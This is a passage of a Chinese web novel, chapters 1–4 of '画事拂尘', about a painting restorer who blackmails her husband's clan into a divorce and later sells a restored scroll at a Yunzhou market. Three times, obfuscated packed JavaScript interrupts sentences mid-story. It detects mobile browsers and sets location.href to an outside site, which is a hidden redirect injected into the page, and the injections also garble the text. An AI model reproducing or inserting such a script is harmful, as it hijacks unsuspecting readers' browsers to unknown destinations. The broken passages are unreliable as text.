《画事拂尘》 1. 和离(上) 成乾十三年秋,定州白家大院的金桂似乎开得比往年都早些。 习习凉风将甜郁香气送入白家祠堂,直叫坐在议事厅内的于氏心神舒爽。 她瞧着跪在厅堂中央的小儿媳,一张精心保养仍掩盖不住岁月痕迹的脸上,不禁浮出跃跃欲试的喜色一一 这蠢出天的小蹄子,几日没找到机会修理她,她倒自己作死送上门来了! 今日原是从旁支过继子嗣到小儿子名下的黄道吉日,仪式已毕,众人刚要散去,这位婚后两年都无所出的小儿媳,不知发什么疯,突然当众下跪自请下堂! 于氏立时就想给她点厉害,只是碍于族中叔伯都在场不好发作,更何况自己的婆母白家老夫人还未发话。 白老夫人似乎是被孙媳将才的话惊出了神,缓了好一会儿,不可置信地问道:“你再说一遍,你想干什么?” 韩穗虽是跪姿,脊背却挺直,目不斜视,字正腔圆地把方才提出的诉求又重复一遍:“我要和离。” 于氏最瞧不惯她那副不卑不亢的样子,再按捺不住,噌地站起身,目呲怒火,斥骂道:“你这黑心不知理的下作胚子,我白家哪里对不住你了,你居然……” “砰”一声,白老夫人将拐杖往地上狠狠一敲,吓得于氏当即噤声,不服气地坐了回去。 老夫人闭了闭眼,朝堂下那单薄的身形冷冷道:“做事须师出有名,我且问你,你因何想跟十一郎和离?” 韩穗夫君排行十一,是白老夫人千娇万宠的最小嫡孙,她深知将他的不是当做和离理由毫无用处,反会因当众揭露其丑事而招致辱骂与重罚。 可她今日要的就是这种撕破脸皮的效果。 “求祖母为孙媳做主!”韩穗稳稳叩首,呼声悲戚,可抬头时,神情分明似冰冻般无一丝波澜。 “自孙媳嫁入白家,夫君几乎日日无踪,夫妻之间更是有名无实,孙媳遍思已过仍不得其解,直到三日前撞见夫君与一倌人在书房榻上交颈缠绵,他这才坦白自己有龙阳之好,对女子近身不得!” 大庭广众之下,自己的腌臜事就这么被赤裸裸摆出来,白家十一郎多少还有些不自在,可又不知如何应对,只得低头抠手,好躲开堂内他人的眼光。 但其实白十一的这点癖好,白家上下心照不宣,甚至多半个定州都知晓。几年前他曾因一小倌争风吃醋,出手打死了人,后虽靠在刑部做官的老爹压下此事,但从此定州再无正经人家肯把女儿嫁给这位白公子。 而这些,韩穗却是被她那位好伯母一手送嫁进来后才渐渐知晓的。 此刻她很清楚,白十一的荒唐事说出来虽难堪,但搁在白家还真算不上什么。 果不然,堂内缄默忽被一声娇俏嗤笑打断:“我当什么事呢,弟妹别太较真了,男人嘛,年轻时谁不犯点糊涂,倒是你该反思反思,怎么连自己的男人都管不好?至于你说夫妻间有名无实,唉哟,这点子事都想不明白?定是你不会伺候男人呗!” “二房的嫂嫂确实会伺候男人,”韩穗扭头斜睨着一位尖脸吊梢眼的少妇,目光落在她凸起的肚子上,轻飘飘道,“都伺候到自己公爹床上了。” “好你个烂嘴的,血口喷人,看我不打死你……”那少妇涨红了脸,撸起袖子就要上前扇人,却被韩穗轻松挡回。 白老夫人皱了皱眉,朝座上一位脸色苍白的妇人怒喝一声:“老二家的,还不叫你媳妇下去,大着肚子在这里丢人现眼!” 那苦瓜脸二太太把发疯似的儿媳拖拽下去后,堂内一时静得出奇。二老爷被人揭短却若无其事,于氏双眼冒出震惊又幸灾乐祸的光芒,其余人面上亦如唱戏的脸谱,各有颜色。 白老夫人将一切看在眼里,微不可查地叹口气,随即对韩穗厉声道:“当着白家长辈,休得胡乱攀咬旁人,只说你自己便罢。至于小十一的事,长辈自会严加管教,但女子嫁人当以夫为纲,因为些小事就提和离,简直荒唐可笑!来人,取藤条.....” “若祖母觉得夫君在家狎男妓是小事,那敢问白家私藏朝廷禁书算不算大事!” 振聋发聩的疾呼及时止住了欲去取藤条的婢女,韩穗稍松一口气,从琵琶袖中掏出一本斑驳旧书,缓缓举起。 于氏凑上前,不解地念出书名:“《焚书》?” 不仅她不懂,堂内在座的几乎个个面露茫然,除了白老夫人。 她是上京永宁侯陆氏女。十二年前那场血溅上京的镇北侯谋逆案,如今想起仍叫她胆战心惊,彼时多少世家大族因此案被连根拔起,幸而陆家因没落破败免于一难。 那些一夕之间被抄家砍头的门庭中,就有柳家。柳家家主柳挚乃先帝辅臣,致仕后撰有一本推崇革新、冲破禁锢的著作,后被起兵造反的镇北侯奉为圣书。镇北侯兵败后,柳家被当作同谋满门抄斩,而那本书也成了当今圣上明令禁止的“反书”。 这样一本要命的书,此刻居然被韩穗明晃晃地举在手中! 白老夫人抛了拐杖,几步上前,劈手夺过书,虽不知内容是真是假,但书签上赫然两个大字确实是“焚书”。 “韩家女,你从实招来,这书是从哪儿来的?” 质问声尖厉,但韩穗还是敏锐地从中捕捉到颤抖。她不动声色答道:“西花园藏书阁。” 白老夫人冷哼一声:“老太爷过世前就命人将西花园封锁,藏书阁更是任何人不得入内的禁地,那地方荒芜至今,你又是如何进去找到这书的?分明就是在扯谎!” “我如何能进去,祖母岂会不知?”说到此处,韩穗突然作极尽惊讶之状,看向于氏:“难不成祖母一直被蒙在鼓里?” “祖母恕罪!”她重重磕头,起身诉述:“两年前我刚嫁进白家,婆母找到我,说西花园藏书阁内有好多古旧残破字画,白家人蠢笨如猪狗,将之当作破烂堆在阁顶,而我是韩画直之后,书画家学深厚,定能识出好货。她叫管家带我进阁,挑选值钱字画带出,又让我揭裱一新,转手拿出去卖钱。我年轻谨慎,问婆母此事合不合规矩,她却拿藤条抽打我,说这是祖母您的意思,换钱是为补贴家用,我若多问就要打死我!” 话至此,于氏将才看好戏的神情陡转为仓惶,她唇色惨白,颤手指向韩穗,对白老夫人急道:“母亲,她在胡说八道,这小贱人疯了!” 可此刻疯了的人更像是她。“来人,快来人,把这目无尊长的东西拖出去打死!” 此番狗急跳墙的言行,反而坐实了在场人心中的猜测。不等老夫人开口,白家几位爷已然炸了锅。 “大嫂这么急着灭口,怕是卖画根本不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14828690|158856||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 为家用,而是中饱私囊了吧!” “母亲,这到底是不是您的意思,书阁有值钱字画为何我们都不知,偏偏大嫂知,只因大哥在京中做官就如此偏袒他们吗?” “你居然说我们蠢如猪狗?你倒是真聪明,从一开始娶韩画直的孙女进门,就想好了要利用她的揭裱手艺吧!趁男人不在家,与管家私通,合伙偷白家祖宗留下的东西出去卖钱,无耻至极!” 一时间堂内男女老少牙尖嘴利,你一句他一句,吵成一锅粥。 韩穗总算有机会挠挠后背发痒的一处,静待出招时机。 “肃静!”坐于上首的一位老者忽拍案而起,韩穗认得他是白家最年长的叔公。 “陆氏,当年老太爷过世后分家,咱们可是说好了,西花园的藏书阁算是公中财物,如今你长媳私自倒卖阁内字画,此事必须给我们一个交待。” 上年纪的人说几句话就得歇歇,但白叔公停顿的间隙,白家却无人敢吱声。不多晌,又听他道:“但当务之急,是先把禁书一事查清!” “是。”此时的白老夫人已思绪回拢,她一步步逼近韩穗,睥睨道:“韩家女,你违反族规私闯禁地在先,现又拿一本伪造的禁书栽赃陷害夫家,如此恶毒诡诈,恐身后大有阴谋。来人,把她押回后院柴房关禁闭,待老身细细审来!” “哎,祖母三思啊,”斜里兀地跳出三房的一个小辈,笑着拦道,“她可是知晓大房婶婶究竟倒卖了多少字画的唯一证人,谁能保证您不会为了袒护长房偷偷把她处置了,她若死了,我们上哪儿对账去?” 此话即刻得到在座那些惦记藏书阁意外之财者的响应。 “说的正是,”扒灰的二老爷这会儿容光焕发,“我白家藏书万千,即便有本禁书也非大事,烧干净便是,反倒是收藏的字画,可得好好理清楚。喂,老十一家的,藏书阁里还有多少这样的字画?” “可摆满整整一层楼的书架,”韩穗嘴角微翘,“不过藏书阁内值钱东西可不止于此。” 说着,她又从袖中抽出一沓旧信,双手恭恭敬敬呈给身前的老夫人。 手上一轻,她撤臂作懵懂状:“祖母,咱们白家运气真好,我也是在藏书阁偶然发现这些信才知道,老太爷生前居然与当年的镇北侯谋逆同伙柳家有联系,听说好多人家都被此案连累,没想到白家能侥幸避祸!” 捏着泛黄信纸的枯槁手指,在韩穗上方逐渐颤抖得厉害,声音便也显得虚浮:“区区几封信而已,不足以说明什么。” “祖母错了,这信上探讨的可是白老太爷为《焚书》刻版筹钱一事,而类似支持罪臣柳挚的信,足足装了一匣子呢。” 啪!一个巴掌冷不丁劈脸而下,火辣辣的肿痛感瞬间蔓延至韩穗的整张左脸。 “放肆!胆敢在白家祖宗面前信口雌黄!” 片刻恍惚过后,被打者嘴角诡异地绽出笑意,她缓缓抬头,毫不退缩地直视起眼前这位外强中干的白家话事人。 “祖母又错了,”她的声音异常平静,“孙媳非但没有乱说,还设身处地为白家着想,费了好大的劲,才把其余的书信一封不落地全部送至上京。” “上京?”白老夫人瞳孔一缩,“你把信给谁了!” “自然是我的哥哥韩程韩大人呀。” 2. 和离(下) 韩穗出嫁时,哥哥韩程还在科考场上,短短两年,不仅高中入仕,拜首辅大人薛老门下,今春更因治水有功擢升工部一司主官,可谓年轻有为、前途无量。 反观白家,百年大族行至此已露败迹。族中子弟无甚出息,唯一在朝做官的白辰景,也就是韩穗的公爹,不久前刚因渎职被连降两级,处境如履薄冰,若此时有人拿着白柳两家的通信面圣弹劾,恐怕抄家砍头就是他们的下场! 韩穗眼前的赭色如意祥云马面裙陡然往后倒去,众人七手八脚地上前扶人。唤人的,喂水的,掐人中的,堂内不知慌乱了多久,终于一道苍哑无力的声音似从远处响起:“韩家女,你到底想要干什么?” 韩穗一字一句道:“我要白十一现在就当着白家族老的面写和离书,如若今日白家不肯还我自由身,这书和信可就派上用场了,咱们这一大家子以谋逆余孽的身份同归于尽就是!” 白二老爷此时也不犯糊涂了:“死丫头好大的口气!信不信现在就把你绑了沉塘,对外说人病死了,连夜发丧,到时候你们韩家也无可奈何!” “我今日既跪在这里就不怕死!与其一生被困在糟烂腐朽的白家,倒不如死了痛快!你们大可弄死我,不过我已与兄长约定好,从定州到上京不过四五日的路程,若是再过十日他未见到人,自会将白家是镇北候谋逆案余孽的罪证呈交都察院。” “韩穗,你可要有良心啊,”于氏使劲拍着胸口,痛苦道,“最初可是你大伯母求着白家娶你进门的,当年为了救你大伯父出狱,你公爹动了多少关系求了多少人,搭进去多少银两,如今你们韩家发达了,就要过河拆桥置我们于死地啊……” “婆母,您这是还拿我们韩家当傻子待呢?”韩穗单眉一挑,一双清冷凤目流露出恨意与鄙夷,“我大伯父当年冒进贪功不假,可至深陷囹圄的地步,还得多亏有公爹在背后推波助澜!” “彼时你们夫妻二人早就盯上了白家藏书阁内的古旧字画,却碍于定州地方小、熟人多,偷出去揭裱倒卖容易被察觉,这才打起上京韩家的主意。原本你们想用韩家的家传揭裱手艺,合作卖画分利,待打听后才知,曾被钦点为国朝第一圣手的韩画直,生前居然只把此技传给其孙女一人。这倒是给了你们方便,干脆拿了我大伯父错处要挟我嫁进白家,直接省去一道分利的手续,真真打得一手好算盘!” 韩穗瞧着于氏躲闪慌乱的眼神,冷笑一声:“至于公爹声称救人用的银两,婆母难道忘了,您早就从我的嫁妆里抠走了呀,只多不少。更不用提这两年我被你们以性命威胁,日夜伏案修补字画,光经我手的就有三十七件,往少了算也值两千多两纹银!若这些还不够还你所谓的‘恩情’,那敢问我冒着杀头的罪名替白十一……” “够了!”这一声吼白老夫人仿佛使出了全部力气,在场之人无不为之一怔。 只韩穗除外。 她早就料到,今日跪在这里,不管是揭露白家曾暗中支持柳挚也好,控诉白家诈娶她也罢,能叫白老夫人低头的软肋,还得是白十一举人身份的秘密! “够了……”那声音又重回嘶哑无力,重重叹息,“不必再说了,你今日闹成这样,是铁了心要离开白家,若老身不成全你,怕是整个白家都要给你陪葬了!” 白老夫人挣扎坐起,勉强维持威严,道:“然和离事关重大,不可仓促而行,须等老身去信给你韩家长辈再详议。今日过继子嗣,本是为了你好,可你却搅扰得众人不得安宁。几位尊长也合该累了,就先散了罢……” 不好,这老太太想用拖字诀! 韩穗心中一凛,若今日她不好容易搭起来的戏台子就这样不了了之,日后再想翻身可就难了。先不说韩家掌事的大伯母断然不会管自己的死活,只说去信回信的这几日里,白老夫人保不齐就能想到别招把这盘于她而言是死局的棋给盘活了! 堂内脚步挪动、衣衫摩挲的声响,无一不刺激着韩穗的大脑,她飞速思索着,却只能想到那唯一能钳制住白老夫人的秘密。 可一旦将她曾冒着杀头风险女扮男装替白十一考取举人功名的事揭露,无疑也把自己的致命之处交给了虎伺狼环的白家。 就在她百般纠结是否孤注一掷时,一声苍老却有力的“且慢”,将或想走或不想走的众人戛然止在原地。 韩穗抬眼,只见白叔公不知何时已从角落走出,手中拿着《焚书》与那几页信,站在白老夫人近前,定定道:“陆氏,白家今日必须得把此女逐出家门!” 白叔公是致仕回乡,在族中威望颇高,白老夫人闻言也只能颤颤巍巍站起身问:“叔公何意?” “此女对白家恨之入骨,性情狡诈阴险,与其兄约定,虽不一定真,但也不可不信。更何况她一弱质女子胆敢孤身对峙我白家,定留有后手,若被逼急了拼个鱼死网破,难道真要我白家上下几十条性命为她陪葬?” 白叔公所说亦是白老夫人所怕之处,可她方才更在意的,却是身为白家话事人,岂能被一小辈当众威胁拿捏?是以虽心有戚戚,仍试图强行压下此事。 此刻利害被点明,她只好顺势问道:“那依叔公之见,妾当如何处置这个孽障?” “十一郎,”白叔公转面问向从始至终隐身于众人间的白十一,“今日你妻提出和离,你是何态度?” 被乍然点名的白十一茫然看向堂中妻子陌生的身影,嗫嚅了半天,道:“随、随便她?” “那便简单了,”白叔公果断道,“你现在就起和离书,双方确认画押,再由老身带和离书与那韩家女亲走一趟上京,当面与韩家人切结清楚,以保我白家万全无虞。” “可叔公年事已高……” “一时半会儿死不了,白柳两家的关系,眼下族中也只有我这把老骨头能说得清了,至于韩家女的去留,陆氏,你可莫要意气用事啊!” —— 韩穗跟随白叔公启程赴京已是两日后。 两年前她嫁来时就没什么排场,如今离开,更是轻装简行。两个包袱并一只箱奁就装下她所剩无几的嫁妆——被前婆母于氏占去的,白家答应折银凑齐后归还。 对于此等行径,纵使马车已驶离白家半日,先秀还在不忿地骂:“居然有脸自称名门望族,我看连破落户都不如,明明自己做出霸占媳妇嫁妆的事,还里里外外搜我们的行囊,生怕咱们带走他家一样东西,啊呸,我还嫌弃白家东西晦气呢!” “好啦,”韩穗看着自小一起长大的婢女先秀,笑道,“只要你我二人能离开那个鬼地方,钱财这等身外之物再慢慢想办法就是。” “话是如此,但我担心回京后,大太太得知姑娘没把嫁妆都带回去,会刁难于咱们。” 韩穗未答话,轻推车窗,深吸一口天高地阔的气息,随后看向前方白叔公所乘的那辆马车,若有所思道:“要是能不回上京就好了。” 马车行至午后时分,恰好途经一小镇,一行人便停车寻了家茶馆,稍作休憩。 茶馆店面本就不大,而韩穗更是有意与白叔公坐于一桌。她亲自斟茶奉上,垂首恭敬道:“晚辈以茶代酒,谢叔公那日在祠堂为晚辈解围。” 白叔公冷笑:“倒是个机灵的,叫你看出来了。”他将茶盏接过,问道:“那你可知我为何帮你?” “叔公自是以大局为重,不想见白家百年基业毁于几个无能颟顸小辈之手。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14828691|158856||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 白叔公摆手道:“一族的荣辱对于我这把老骨头而言担子太重了,早就抗不起了!况且万事万物兴衰自有定数,凭我一己之力改变不了什么。而那日我助你拿到和离书,不过是为了报恩罢了!” “报恩?” “是啊,”白叔公饮完一盏茶,缓缓道,“二十年前,我还只是礼部一介小官,而你祖父已任翰林画院总画直。那年,当今圣上被先帝立为储君,我与你祖父便相识于立储大典的筹备安排中。可到了大典前一日,我却因疏忽致使册封诏书沾上污迹,是你祖父连夜帮我洗清纸面,将诏书恢复如初,这才免去一场灾祸。当年若不是你祖父修复手艺了得,又一直替我保守秘密,说不定我早就被杖毙了。” 白叔公歇口气,又道:“听说韩家自你祖父之后便不叫男丁从习揭裱技艺,而改科考取仕,确实是中兴之道。但我知匠人之家惯喜欢传男不传女那套,本还为韩画直一手精湛技艺失传而惋惜,没想到他都相授于你了,也足见对你的别眼相待。既是韩画直看重的孙女有难,我岂能不伸援手相助!” 韩穗一时哑然,想不到祖父当年还有这重经历,而其因果轮回居然成全了她今日的脱离苦海之计。 这厢心下正唏嘘,只听白叔公语气一转,道:“一码归一码,助你离开白家,是为还恩,但白柳两家的事,我必须去上京找你哥哥韩程当面说清。” 二人终究立场不同,韩穗便不再多说其他。待饮茶修整完毕,一行人又重新上路。 刚上马车,眼尖的先秀便发现车内凭空多出个沉甸甸的包袱。韩穗解开一看,居然是一堆长短不一的画轴,以及一封写有“韩穗亲启”的信。 她开信速阅,随即眉头紧锁。 “信上说的什么?”先秀关切问道。 “这个白十一真是荒唐,”韩穗哭笑不得,“他抢在白家清点藏书阁前偷出一堆旧画,说是因心有愧疚而送我当作补偿,望我保守他举人身份的秘密,最后却又说若这些画能卖出去,请务必与他分利。” 先秀听后大为恼火:“我看他在想屁吃!” “先把画收到箱奁里吧,他趁咱们去茶馆之机将东西偷偷搁进马车,定是不想叫叔公知晓。”韩穗将信塞回包袱,清冽笑意中透出一丝狡黠:“既然他敢偷,咱们就敢收,等日后卖画得了钱,要不要分他还得看本姑娘的心情。” 二人将包袱藏好,一路说说笑笑,路途似乎也没那么颠簸枯燥了。 转眼至暮间,原本晴好明朗的秋日忽地阴风大作。 韩穗推窗而视,只见天地间昏黄一片,全然分不清身处何地,而卷积起沙土的狂风隐有湿腥味,正是暴雨欲来之迹。 她关窗,正想着如何在这前不着村后不着店的地方躲雨,马车却兀地停住了,随即传来车夫试图压过呜呜风声的叫喊:“姑娘,前头马车突然停了,兴许是惊马了,小的去前面看看白叔公他们!” “去吧!”韩穗不觉有异,只是心跳不知为何陡然慌乱起来。 她手抚胸口坐定在昏暗中,车身被风吹得左右摇摆,发出似乎随时要散架的可怖声响。她试图凝神去听车外动静,传入耳中的却只有狂风呼啸,以及树木被风肆虐的哗哗声。 渐渐地,似有马儿嘶鸣,又像是人声喊叫。可一瞬间,又只剩灌满双耳的风声。 不知过了多久,韩穗再忍不住,欲下车去探查究竟。谁料还未起身,那本就被风吹得哐啷作响的车门,被一股狠厉外力猛然破开! 兜面扑来的风沙叫她下意识抬袖遮脸,待她再放下手去看时,一道明晃晃的寒光已在咫尺间向她猝然刺来! “姑娘!” 先秀的厉叫声响在耳边。 3. 云州(上) “姑娘,姑娘!” 眼前寒光利刃骤然消失,一刹间黑云压城的暴雨前夜斗转为曦光和煦的清晨。 韩穗蓦地睁眼,只见先秀正一脸焦急地摇唤自己。 “姑娘可算醒了,你梦魇了!”先秀心疼地用帕子帮她拭去额上细汗,小心翼翼问道:“姑娘可是又梦到那件事了?” 她缓缓点头。 事情都过去一年多了,可那晚暴风雨中刺向自己的尖刀仍时不时入梦恐吓着她。也不知还需多久才能彻底忘却…… “姑娘快些起床吧,”先秀有意分散她的注意力,催促道,“不是说好了今日要带我去葫芦街旧货市场玩么,我可听说了,那里是云州城最热闹的地方,咱们在云州住了这么久,姑娘居然一次都没带我去过!” 说着,她便把提前备好的两套男子衣裳找出,要给韩穗穿上。 韩穗却先问:“父亲呢?” 先秀心领神会:“放心吧,老爷天还没亮就去府衙上值了,据说今天是叶阳县一案审决的日子,那还不得从早忙到晚啊。” “那刚好,”韩穗换着衣裳,盘算道,“今日说不定我们也要在葫芦街待一整天,外头天冷,尽量穿厚些。” “一整天?倒也不用玩那么久吧?”先秀不解。 “谁说玩了,”韩穗故作正色道,“咱们可是去摆摊卖东西的!” “啊?” -- 正值隆冬,天寒雪厚。 一进腊月门,云州通兴坊的葫芦街旧货市场日日熙攘。除却道旁铺面,通街的幕棚底下,还有摆满琳琅货物的摊位,挨挨挤挤一直延伸到街尾。 在街尾不起眼的角落里,有一临时支摊卖画的,摊面上却孤零零只摆出一只画匣。 摊后坐着两名年轻“男子”,其中一个圆脸的,有些不安地看了眼画匣,问向身旁同伴:“姑……郎君,咱们把白家的画就这么卖了,当真不要紧?” “要什么紧,这本就是他白家欠我的,咱们又急需用钱,不卖它难不成卖你?” 说此话的正是韩穗,此刻她一身素衣男装,却仍遮不住眉眼间的霞明玉映。 “可是,”先秀极力压低声音,“姑娘不是说这画乃价值百金的前朝名画么,还是白家的家传藏品,就这么搁在旧货摊上卖……” 属实有些潦草。 韩穗又岂会不知,她两手一摊:“也没别的法子了,画虽名贵,却来路不明,若是委托莫云斋那等书画商转卖,他们必会问东问西,我懒得跟他们扯谎。” 更重要的是,眼下她急需一笔银钱。 一年前,就在离开白家前往上京的途中,一行人惨遭劫匪屠戮。只有她和先秀命大,被过路的商队及时救下。 说来也巧,商队中有对郭姓父女刚好前往云州,正是韩穗父亲外放任官的地方。她二人便搭车随行,如此来到云州投奔父亲。 向来爱女的韩立煜得知原委,非但未因她的擅自做主而生气,还当即去信给上京韩家及定州白家,声称支持女儿和离。随后韩穗便开始了在云州城无忧自在的生活。 然而日子不可能一直这么逍遥下去。转眼到了父亲外任结束、调职归京的时候,韩穗不得不开始思考回京后该何去何从。 刚从一个火坑跳出的她,自然不愿再跳进另一个坑中困住自己的人生。可若是不嫁人,以和离女的身份永远住在上京韩家,那样的生活想想都觉得头大。 大胤京都的风气远没有偏远地方朴实恣意,尤其是挂得上名号的人家,皆把虚名看得比命都重要。别看在云州这一年,街坊邻居从不把她的和离当成一回事,但若回到上京,不出一日就得成整条街的传闲。 她自己是不怕外人眼光的,可她还有在朝为官的父兄,有一位高嫁世家名门的堂姐,他们步步皆需行得端走得正。更不用说家中那位眼里只有名利的大伯母,必会不胜其烦地将她再嫁出去为韩家谋利。 她不想成为任何人的累赘,但也不能再做任何人的棋子。于是打定主意,回京后隐姓埋名,在远离繁华的坊区购置一处宅子,靠揭裱手艺自立门户。 从此,她要成她自己的倚仗一一 至此,一切想得都挺好,直到打听清楚上京房价。 最便宜的一进院居然都要二百两!她摸摸空瘪的钱袋,到头来还得靠白十一偷给她的字画来换置办宅子的那笔大钱。 韩穗本就是爱画之人,何况此画还是她熬了好几个日夜亲手修复重裱的,如今挤在旧货市场上叫卖,心里也很不舒服。 她仔细将摊桌上的画匣摆正,幽怨嘟囔起来:“那个白十一,说自己不懂画,偏偏拿给我的件件都是难得的名作,叫我怎么.…..” 正骂着不靠谱前夫,忽然眼前光线被两道身影严严实实挡住。 韩穗抬首,只见有一胖一瘦两人站定在摊前,瞧那神情,似乎对她手上的画颇感兴趣。 不等她开口招呼,就听其中一人沉吟道:“嘶,一张摊桌上单摆一只画匣,有意思。” 此人矮小干瘦,须发稀疏,一副肠胃运作不灵的样子,说起话来摇头晃脑,略带南音。相较之下,他旁边那个便显得营养过剩了,身形肥壮,红光满面,装扮更是华衣锦服,再仔细一瞧,身后还跟着四五个看着不太好惹的随从。 韩穗一时摸不准这二人的路数,便未搭话。 那人见她不言语,伸手欲去拿画,却被韩穗挡开。“失礼了,此画珍稀名贵,价值不菲,若阁下不是真心想买,不好随意开卷示人。” “呦,年纪不大,口气不小,”对方不以为然道,“你倒是说来听听,此画什么来头?” “前朝画师白川所作‘沂溪草堂述雅图’之一《望山》是也。”说着,她将画匣打开,露出画轴签条示予对方。 那干巴瘦子一愣,随即看向富贵胖子,二人眼神一汇,前者顿时扯起干皱的笑纹:“这不巧了么,我身边这位爷想找的正是白川的画作,不知小郎君可否开卷让我们一睹真容?” 韩穗伸出张开的一只手:“五百两,只收银票,能接受我就打开。” “钱的事好说,”干巴瘦子精明笑道,“只是白川名气大,画作却命途多舛,四散于战乱灾祸中,这沂溪草堂述雅图本由四副画组成,如今只有一副在京中部堂大人手中,其余三副皆下落不明,今日在这旧货市场上贸然遇见,你好歹也先打开让我们瞧瞧是真是假吧?” 韩穗听此话便知是遇上行家了,自然不再推却,掏出帕子仔细擦了桌面和手,这才将画轴小心翼翼展开。 那干巴瘦子见到画,双目顿放精光,从头到尾细细看一遍, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14828692|158856||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 随即抬头,与同行人又打起了眉眼官司。片刻后,他回身,对正在默默收画的韩穗伸出一根手指,笑眯眯道:“一百两。” “一百两?”韩穗不由睁大双眼,“你方才也说了,白川的画极为难得……” “那也得是真画不是?”干巴瘦子眯起眼斜睨道,“不瞒你说,在下正是扬州揭裱世家商家传人商卓,经我之手的名画不计其数,鄙人不才,恰好对白川画作小有研究,打眼一看即知,你这画顶多算是惟妙惟肖的仿画。” “是真是假你心里清楚,买不起离开便是,不用费尽口舌污蔑画作。”韩穗冷笑着,将画匣盖好,抬手道:“慢走,不送。” 然而眼前二人却纹丝不动,那富贵胖子突然阴阳怪气发话:“我说这云州城狗眼看人低的东西怎么还这么多呢,你瞪大眼睛看好了,‘云州首富’的名号对我刘百盛来说可不是虚名,别说区区五百两银子,就算千金爷也出得起,但这首先第一条,您卖的东西可得货真价实啊。” 刘百盛? 韩穗闻言心中咯噔一下,原来他就是半年前霸占郭氏父女财产、强娶郭家姐姐郭品兰的贼人! 此人早先只是一介挖私矿的流窜地痞,后因云州西山银矿开采,机缘巧合下攀附矿监田青,从此飞黄腾达,摇身一变成了云州首富“刘员外”。但其钱财来路不明,做生意也多强买强卖。听身为云州通判的父亲说,因其背后有只手遮天的宦党撑腰,就连官府都对他无计可施。 两月前,云州辖下的叶阳县发生民乱杀官惨案,刘百盛虽未直接参与,但因与死者县令生前颇为交好,遂也被羁押至州府。彼时韩穗曾暗暗希冀他能因此获死罪,好叫品兰有机会摆脱魔爪,谁知没过多久,姓刘的居然全须全尾地被放了出来。 父亲韩立煜对此也颇为无奈,称经调查,他确实跟县令的死无关,再加上已回京的田内监几次来信施压,知府大人也不得不从权行事。 郭家父女是韩穗的救命恩人,她只恨自己不是男子官身,否则定要不惜代价将他的丑事恶事一一揭露,绳之以法。 可她眼下连到旧货市场卖画都要乔装成男子,面对厌恶之人,也只能冷冷说一句:“算了,我这画不卖了。” “你说不卖就不卖,耍老子呢?”刘百盛双手一撸袖子,身后那些小跟班就呼啦啦全围了上来。 这架势并未吓到韩穗,她仍是冷淡口吻:“画是我的,想不想卖自然是我说了算。” 刘百盛像是听到什么天大的笑话:“你说了算?看来今日必须得叫你明白明白,在云州地界,到底是谁说了算!” 说罢,他一个眼色,那几个小喽啰便朝着整条街市叫嚷起来:“快来看啊,不知道哪儿来的骗子,拿假画当真画卖,居然骗到咱们刘爷头上了!” 街市上本就人多,看热闹又是人的天性,不出片刻,四周就围满了看客。 紧挨着韩穗的摊主是个慈眉善目的老伯,眼看两个年轻人要吃亏,忙凑上前小声劝道:“小郎君,这刘百盛就是利昌赌坊的东家,从前田内官的干儿子,出了名的心狠手辣,你这画若是假的就赶紧认栽给他吧,别把事儿闹大了,否则小命难保!” 韩穗一听更不服气了,高声道:“真的就是真的,他故意把我的画说成假的,分明就是居心不良,想强行压价!” 4. 云州(下) “哎呦呦,是真是假岂能单凭你一面之词?”商卓故意高声,好叫周围人听清,“你手上这副画,虽盖有白川特有的花押,却是不折不扣的仿画!你年纪小,怕是不知道罢,白川的那副《望山》真迹,早在十几年前的一场船难中沉入淮水河底了!” “扬州裱褙匠商卓是吧?” 韩穗冷眼看向对方,也抬高声音,泠泠开口:“你说的没错,《望山》一图确实在当年的船难中落水,但随船的白家人又拼着性命将画捞救上来,商老前辈,您不会连这个都不知道吧?” 商卓的眼神微有躲闪,然而下一刻便断然道:“捞上来又有何用?那画本就历经百年,再在水里泡上半晌,就算神仙也救不了了!” “你胡说!这画到我们手上时确实糟烂不堪,但是我家郎君的揭裱修复手艺堪称妙手回春,伏案四天四夜才把它修复完好,我看根本就是你自己学艺不精,妄下结论!”先秀毫不留情地出言反击。 这一番对质下来,围观群众已然议论纷纷,有说旧货市场上卖画多半是假的,也有说那商卓是不知哪儿来的骗子的,但更多的则是为眼前这两位小“公子”的遭遇唏嘘同情——遇到刘百盛此等买家,他俩今日这跟头算是栽定了。 商卓听着人群中的论调,底气愈显不足,但其雇主刘百盛将人聚拢过来,可不是看他被指指点点的。正焦虑如何将这戏硬着头皮演下去,忽然瞥见那相貌秀气的小郎君耳上有耳洞! 他似乎抓住了什么不得了的错处,激动得差点跳脚:“什么你家郎君,你二人分明就是女子,原来是两个女骗子!” 